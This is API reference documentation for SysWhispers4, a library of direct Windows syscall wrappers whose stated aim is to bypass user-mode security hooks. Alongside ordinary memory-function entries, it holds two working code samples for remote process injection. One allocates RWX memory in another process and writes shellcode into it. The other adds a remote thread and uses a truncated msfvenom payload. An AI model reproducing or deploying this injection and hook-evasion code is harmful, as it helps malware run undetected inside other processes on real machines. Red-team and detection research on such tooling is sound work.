Overview
SysWhispers4 provides direct syscall wrappers for Windows NT memory management functions. These bypass user-mode hooks on kernel32.dll and ntdll.dll functions like VirtualAllocEx, WriteProcessMemory, etc.
NtAllocateVirtualMemory
Allocates virtual memory within a process.
NTSTATUS SW4_NtAllocateVirtualMemory (
HANDLE ProcessHandle ,
PVOID * BaseAddress ,
ULONG_PTR ZeroBits ,
PSIZE_T RegionSize ,
ULONG AllocationType ,
ULONG Protect
);
Parameters
Handle to the target process. Use GetCurrentProcess() for local allocation, or a handle from SW4_NtOpenProcess() for remote allocation.
Pointer to a variable that receives the base address of the allocated region. Set to NULL to let the system choose the address.
Number of high-order address bits that must be zero. Use 0 for no restriction.
Pointer to the size (in bytes) of the region to allocate. Rounded up to page boundary. On success, receives the actual allocated size.
Type of allocation. Common values:
MEM_COMMIT (0x1000) — Commit pages
MEM_RESERVE (0x2000) — Reserve address space
MEM_COMMIT | MEM_RESERVE (0x3000) — Allocate and commit
Memory protection. Common values:
PAGE_READONLY (0x02)
PAGE_READWRITE (0x04)
PAGE_EXECUTE (0x10)
PAGE_EXECUTE_READ (0x20)
PAGE_EXECUTE_READWRITE (0x40)
Returns
STATUS_SUCCESS (0x00000000) on success
STATUS_ACCESS_DENIED (0xC0000022) if process handle lacks access
STATUS_INVALID_PARAMETER (0xC000000D) for invalid parameters
Example
#include "SW4Syscalls.h"
int main ( void ) {
SW4_Initialize ();
PVOID base = NULL ;
SIZE_T size = 0x 1000 ; // 4KB
NTSTATUS status = SW4_NtAllocateVirtualMemory (
GetCurrentProcess (), // Local process
& base, // System chooses address
0 , // No zero-bit restriction
& size, // 4KB (will be page-aligned)
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if ( NT_SUCCESS (status)) {
printf ( "[+] Allocated 0x %llx bytes at %p \n " , (ULONG64)size, base);
// Use memory...
// Free when done
size = 0 ;
SW4_NtFreeVirtualMemory ( GetCurrentProcess (), & base, & size, MEM_RELEASE);
}
return 0 ;
}
NtAllocateVirtualMemoryEx
Extended version of NtAllocateVirtualMemory with additional parameters (Windows 10+).
NTSTATUS SW4_NtAllocateVirtualMemoryEx (
HANDLE ProcessHandle ,
PVOID * BaseAddress ,
PSIZE_T RegionSize ,
ULONG AllocationType ,
ULONG PageProtection ,
PVOID ExtendedParameters ,
ULONG ExtendedParameterCount
);
Parameters
Similar to NtAllocateVirtualMemory, with added support for extended parameters (e.g., NUMA node affinity).
Pointer to array of MEM_EXTENDED_PARAMETER structures (or NULL).
Number of extended parameters (use 0 if none).
NtFreeVirtualMemory
Frees virtual memory allocated by NtAllocateVirtualMemory.
NTSTATUS SW4_NtFreeVirtualMemory (
HANDLE ProcessHandle ,
PVOID * BaseAddress ,
PSIZE_T RegionSize ,
ULONG FreeType
);
Parameters
Pointer to the base address to free.
Pointer to size. For MEM_RELEASE, must be 0. For MEM_DECOMMIT, specifies size.
MEM_DECOMMIT (0x4000) — Decommit pages (keep reservation)
MEM_RELEASE (0x8000) — Release entire region
Example
// Free allocated memory
PVOID base = allocatedAddress;
SIZE_T size = 0 ; // Must be 0 for MEM_RELEASE
NTSTATUS status = SW4_NtFreeVirtualMemory (
GetCurrentProcess (),
& base ,
& size ,
MEM_RELEASE
);
NtWriteVirtualMemory
Writes data to virtual memory in a process.
NTSTATUS SW4_NtWriteVirtualMemory (
HANDLE ProcessHandle ,
PVOID BaseAddress ,
PVOID Buffer ,
SIZE_T NumberOfBytesToWrite ,
PSIZE_T NumberOfBytesWritten
);
Parameters
Handle to the target process with PROCESS_VM_WRITE access.
Starting address in the target process where data will be written.
Pointer to the data to write.
Number of bytes to write.
Optional pointer to receive the actual number of bytes written. Can be NULL.
Example: Remote Shellcode Injection
#include "SW4Syscalls.h"
int main ( void ) {
SW4_Initialize ();
DWORD targetPid = 1234 ;
unsigned char shellcode [] = { 0x 90 , 0x 90 , 0x C3 }; // nop; nop; ret
// Open target process
HANDLE hProcess = NULL ;
OBJECT_ATTRIBUTES oa = { sizeof (oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
NTSTATUS status = SW4_NtOpenProcess (
& hProcess, PROCESS_ALL_ACCESS, & oa, & cid
);
if ( ! NT_SUCCESS (status)) return 1 ;
// Allocate memory
PVOID remoteBase = NULL ;
SIZE_T size = sizeof (shellcode);
status = SW4_NtAllocateVirtualMemory (
hProcess, & remoteBase, 0 , & size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if ( ! NT_SUCCESS (status)) {
SW4_NtClose (hProcess);
return 1 ;
}
// Write shellcode
SIZE_T written = 0 ;
status = SW4_NtWriteVirtualMemory (
hProcess,
remoteBase,
shellcode,
sizeof (shellcode),
& written
);
if ( NT_SUCCESS (status)) {
printf ( "[+] Wrote %llu bytes to %p \n " , (ULONG64)written, remoteBase);
}
SW4_NtClose (hProcess);
return 0 ;
}
NtReadVirtualMemory
Reads data from virtual memory in a process.
NTSTATUS SW4_NtReadVirtualMemory (
HANDLE ProcessHandle ,
PVOID BaseAddress ,
PVOID Buffer ,
SIZE_T NumberOfBytesToRead ,
PSIZE_T NumberOfBytesRead
);
Parameters
Handle with PROCESS_VM_READ access.
Starting address to read from.
Pointer to buffer that receives the data.
Optional pointer to receive actual bytes read. Can be NULL.
Example
HANDLE hProcess = ...;
PVOID remoteAddress = (PVOID) 0x 12345678 ;
unsigned char buffer [ 256 ];
NTSTATUS status = SW4_NtReadVirtualMemory (
hProcess,
remoteAddress,
buffer,
sizeof (buffer),
NULL
);
if ( NT_SUCCESS (status)) {
// Process buffer contents...
}
NtProtectVirtualMemory
Changes memory protection on a region.
NTSTATUS SW4_NtProtectVirtualMemory (
HANDLE ProcessHandle ,
PVOID * BaseAddress ,
PSIZE_T RegionSize ,
ULONG NewProtect ,
PULONG OldProtect
);
Parameters
Handle with PROCESS_VM_OPERATION access.
Pointer to base address of the region.
Pointer to size of the region.
New protection value (e.g., PAGE_EXECUTE_READ).
Pointer to variable that receives the previous protection value.
Example: RWX → RX After Write
// Allocate as RWX
PVOID base = NULL ;
SIZE_T size = 0x 1000 ;
SW4_NtAllocateVirtualMemory (
GetCurrentProcess (), & base , 0 , & size ,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
// Write shellcode
SW4_NtWriteVirtualMemory (
GetCurrentProcess (), base, shellcode, shellcodeSize, NULL
);
// Change to RX (good practice)
ULONG oldProtect;
SW4_NtProtectVirtualMemory (
GetCurrentProcess (),
& base ,
& size ,
PAGE_EXECUTE_READ,
& oldProtect
);
NtQueryVirtualMemory
Retrieves information about a memory region.
NTSTATUS SW4_NtQueryVirtualMemory (
HANDLE ProcessHandle ,
PVOID BaseAddress ,
MEMORY_INFORMATION_CLASS MemoryInformationClass ,
PVOID MemoryInformation ,
SIZE_T MemoryInformationLength ,
PSIZE_T ReturnLength
);
Parameters
MemoryInformationClass
MEMORY_INFORMATION_CLASS
required
Type of information:
MemoryBasicInformation (0) — Returns MEMORY_BASIC_INFORMATION
Pointer to buffer that receives information.
Example
MEMORY_BASIC_INFORMATION mbi;
NTSTATUS status = SW4_NtQueryVirtualMemory (
GetCurrentProcess (),
someAddress,
MemoryBasicInformation,
& mbi ,
sizeof (mbi),
NULL
);
if ( NT_SUCCESS (status)) {
printf ( "Base: %p , Size: 0x %llx , Protect: 0x %lx \n " ,
mbi . BaseAddress , (ULONG64) mbi . RegionSize , mbi . Protect );
}
Sets virtual memory information (Windows 10+).
NTSTATUS SW4_NtSetInformationVirtualMemory (
HANDLE ProcessHandle ,
ULONG VmInformationClass ,
ULONG_PTR NumberOfEntries ,
PVOID VirtualAddresses ,
PVOID VmInformation ,
ULONG VmInformationLength
);
Use Cases
Prefetch memory — VmPrefetchInformation
Set page priority — Performance optimization
Complete Injection Example
Combining memory functions for classic remote injection:
#include <stdio.h>
#include "SW4Syscalls.h"
static const unsigned char shellcode [] = {
0x fc , 0x 48 , 0x 83 , 0x e4 , 0x f0 , 0x e8 , 0x c0 , 0x 00 , 0x 00 , 0x 00 ,
// ... (msfvenom payload)
};
int main ( void ) {
if ( ! SW4_Initialize ()) {
fprintf (stderr, "[!] SW4_Initialize failed \n " );
return 1 ;
}
DWORD targetPid = 1234 ;
// 1. Open process
HANDLE hProcess = NULL ;
OBJECT_ATTRIBUTES oa = { sizeof (oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
NTSTATUS status = SW4_NtOpenProcess ( & hProcess, PROCESS_ALL_ACCESS, & oa, & cid);
if ( ! NT_SUCCESS (status)) return 1 ;
// 2. Allocate memory
PVOID base = NULL ;
SIZE_T size = sizeof (shellcode);
status = SW4_NtAllocateVirtualMemory (
hProcess, & base, 0 , & size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if ( ! NT_SUCCESS (status)) {
SW4_NtClose (hProcess);
return 1 ;
}
// 3. Write shellcode
SW4_NtWriteVirtualMemory (hProcess, base, (PVOID)shellcode, sizeof (shellcode), NULL );
// 4. Change to RX
ULONG oldProt;
SW4_NtProtectVirtualMemory (hProcess, & base, & size, PAGE_EXECUTE_READ, & oldProt);
// 5. Create remote thread
HANDLE hThread = NULL ;
status = SW4_NtCreateThreadEx (
& hThread, THREAD_ALL_ACCESS, NULL , hProcess,
base, NULL , 0 , 0 , 0 , 0 , NULL
);
if ( NT_SUCCESS (status)) {
printf ( "[+] Remote thread created \n " );
SW4_NtWaitForSingleObject (hThread, FALSE , NULL );
SW4_NtClose (hThread);
}
SW4_NtClose (hProcess);
return 0 ;
}
Next Steps
Process & Thread Functions Open processes, create threads, suspend/resume
File Functions NT file I/O via syscalls